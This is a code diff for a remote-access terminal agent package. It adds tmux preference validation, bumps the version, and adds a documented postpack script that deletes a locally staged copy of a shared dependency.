+ const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
112
+
113
+ export function isValidTmuxColor(value: string): boolean {
114
+ return COLOR_RE.test(String(value || ''));
115
+ }
116
+
117
+ /** Longest status template we will store. Long enough for a real bar, short
118
+ * enough that nobody pastes a script into it. */
119
+ export const MAX_STATUS_TEMPLATE = 200;
120
+
121
+ /**
122
+ * Merge stored prefs over the defaults, validating as we go.
123
+ *
124
+ * Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
125
+ * would replace the whole status object and wipe every key the caller did not
126
+ * name. And an invalid value must fall back rather than reach tmux: a bad
127
+ * `mouse` string would render `set-option -g mouse sideways`, which tmux
128
+ * rejects — costing that line silently, since source-file warns and continues
129
+ * rather than aborting.
130
+ *
131
+ * Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
132
+ * That is what lets the same function guard a config file on disk and a JSON
133
+ * body from a browser.
134
+ */
135
+ export function resolveTmuxPrefs(input: { tmux?: unknown } | null | undefined = {}): TmuxPrefs {
136
+ const stored = (input && typeof input === 'object' ? (input as any).tmux : null) || {};
137
+ const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
138
+ const oneOf = <T extends string>(value: unknown, allowed: readonly T[], fallback: T): T =>
139
+ ((allowed as readonly unknown[]).includes(value) ? value as T : fallback);
140
+ const text = (value: unknown, fallback: string, valid: (v: string) => boolean): string =>
141
+ (typeof value === 'string' && value.length <= MAX_STATUS_TEMPLATE && valid(value)
142
+ ? value
143
+ : fallback);
144
+
145
+ return {
146
+ mouse: oneOf(stored.mouse, ['native-select', 'tmux'] as const, DEFAULT_TMUX_PREFS.mouse),
147
+ attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'] as const,
148
+ DEFAULT_TMUX_PREFS.attachMode),
149
+ historyLimit: Number.isInteger(stored.historyLimit)
150
+ && stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
151
+ ? stored.historyLimit
152
+ : DEFAULT_TMUX_PREFS.historyLimit,
153
+ status: {
154
+ enabled: typeof status.enabled === 'boolean' ? status.enabled : DEFAULT_TMUX_PREFS.status.enabled,
155
+ position: oneOf(status.position, ['top', 'bottom'] as const, DEFAULT_TMUX_PREFS.status.position),
156
+ bg: text(status.bg, DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
157
+ fg: text(status.fg, DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
158
+ left: text(status.left, DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
159
+ right: text(status.right, DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
160
+ },
161
+ };
162
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@indianic/dialout",
3
- "version": "1.3.2",
3
+ "version": "1.5.0",
4
4
  "description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
5
5
  "bin": {
6
6
  "dialout": "./bin/devdash-agent.js"
@@ -11,7 +11,8 @@
11
11
  "dist",
12
12
  "scripts/postinstall.js",
13
13
  "README.md",
14
- "scripts/prepack.js"
14
+ "scripts/prepack.js",
15
+ "scripts/postpack.js"
15
16
  ],
16
17
  "scripts": {
17
18
  "prebuild": "npx tsc -p ../devdash-shared/tsconfig.json",
@@ -21,7 +22,8 @@
21
22
  "start": "node dist/index.js",
22
23
  "clean": "rm -rf dist",
23
24
  "postinstall": "node scripts/postinstall.js",
24
- "prepack": "node scripts/prepack.js"
25
+ "prepack": "node scripts/prepack.js",
26
+ "postpack": "node scripts/postpack.js"
25
27
  },
26
28
  "keywords": [
27
29
  "dialout",
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Removes the @dialout/shared copy that prepack.js staged for bundling.
4
+ *
5
+ * prepack copies the shared package into this package's own node_modules so
6
+ * `bundleDependencies` can pack it — npm will not follow the workspace symlink
7
+ * into a tarball. That copy is only needed while the tarball is being built.
8
+ *
9
+ * Left behind, it SHADOWS the workspace symlink at the repo root, so the agent
10
+ * afterwards compiles against a frozen snapshot of shared: edit a shared type,
11
+ * rebuild everything, and tsc still reports the new export as missing. That
12
+ * cost real debugging time twice before this script existed.
13
+ *
14
+ * postpack runs after the tarball is written and before publish completes, so
15
+ * removing it here cannot affect what ships.
16
+ */
17
+ const { rmSync, existsSync } = require('node:fs');
18
+ const { join, resolve } = require('node:path');
19
+
20
+ const staged = resolve(__dirname, '..', 'node_modules', '@dialout', 'shared');
21
+ if (existsSync(staged)) {
22
+ rmSync(staged, { recursive: true, force: true });
23
+ console.log('postpack: removed the staged @dialout/shared copy');
24
+ }